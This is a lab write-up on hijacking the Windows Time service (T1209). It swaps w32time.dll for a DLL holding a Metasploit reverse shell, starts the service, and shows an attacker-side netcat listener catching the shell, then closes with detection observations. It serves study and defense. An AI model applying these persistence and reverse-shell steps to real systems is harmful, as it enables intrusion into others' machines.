T1209: Hijacking Time Providers

Persistence

Execution

Service w32time depends on the DLL specified in HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\.

If an attacker can replace the w32time.dll with his malicious DLL or modify the DllName value to point to his malicious binary, he can get that malicious code executed.

In this lab, we will just swap out the w32time.dll with our own. It contains a metasploit reverse shell payload:

Starting the w32time service:

C:\Users\mantvydas\Start Menu\Programs\Startup>sc.exe start w32time
SERVICE_NAME: w32time
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 964
FLAGS :

Attacker receiving a reverse shell:

[email protected]~# nc -lvvp 443
listening on [any] 443 ...
10.0.0.2: inverse host lookup failed: Unknown host
connect to [10.0.0.5] from (UNKNOWN) [10.0.0.2] 64634

Observations

The shell is running as a child of svchost which is expected as this is where all the services originate from:

Note that the code is running under the context of LOCAL SERVICE:

This time and time again shows that binaries running off of svchost.exe, especially if they are rundll32 and are making network connections, should be investigated further.

References